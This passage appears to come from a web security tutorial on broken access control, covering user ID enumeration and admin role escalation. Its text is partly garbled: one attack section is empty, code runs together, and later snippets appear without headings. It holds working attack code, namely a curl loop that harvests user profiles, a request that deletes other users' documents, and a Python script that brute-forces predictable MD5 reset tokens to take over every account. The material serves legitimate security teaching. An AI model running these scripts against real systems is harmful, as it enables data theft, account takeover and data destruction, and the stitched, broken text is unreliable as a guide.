Scenario 1: Horizontal Privilege Escalation - User Enumeration
An API endpoint allows viewing user profiles by ID:
GET /api/user/123 → Returns user 123's profileGET /api/user/124 → Returns user 124's profile
The vulnerability:
No authorization check - any user can access any profile by changing the ID.
The attack:
# Enumerate all usersfor i in {1..1000};docurl-H"Authorization: Bearer mytoken"http://example.com/api/user/$idone# Collect all user data:# - Email addresses# - Phone numbers# - Physical addresses# - Payment information# - Personal information
Result:
Complete user database disclosure
Privacy violation
GDPR/CCPA breach
Finding it: Change IDs in requests. Test if you can access other users' data without authentication.
Scenario 2: Vertical Privilege Escalation - Role Change
An admin panel allows modifying user roles without proper authorization:
The vulnerability:
No authorization check - any authenticated user can promote themselves to admin.
The attack:
Result:
Admin access achieved
Complete system control
Can modify any data, delete accounts, access secrets
Finding it: Look for user/role modification endpoints. Try changing your own role. Check if authorization checked.
# Delete other users' documents
curl -X POST \
-H "Authorization: Bearer mytoken" \
http://example.com/delete-document/999
# Attacker can delete anyone's documents
# Perform denial of service
# Destroy other users' data
// JavaScript on client
if (user.role === 'admin') {
document.getElementById('admin-button').style.display = 'block';
}
// In browser console
document.getElementById('admin-button').style.display = 'block';
// Button appears
// Click button → makes admin request
// Server processes it without checking authorization
# Calculate reset tokens for all users
for user_id in range(1, 1000):
token = hashlib.md5(str(user_id).encode()).hexdigest()
# Try password reset with this token
response = requests.post(
'http://example.com/reset-password',
data={
'user_id': user_id,
'token': token,
'new_password': 'hacked123'
}
)
if response.status_code == 200:
print(f"Reset successful for user {user_id}")
# Result: All user passwords reset to attacker's password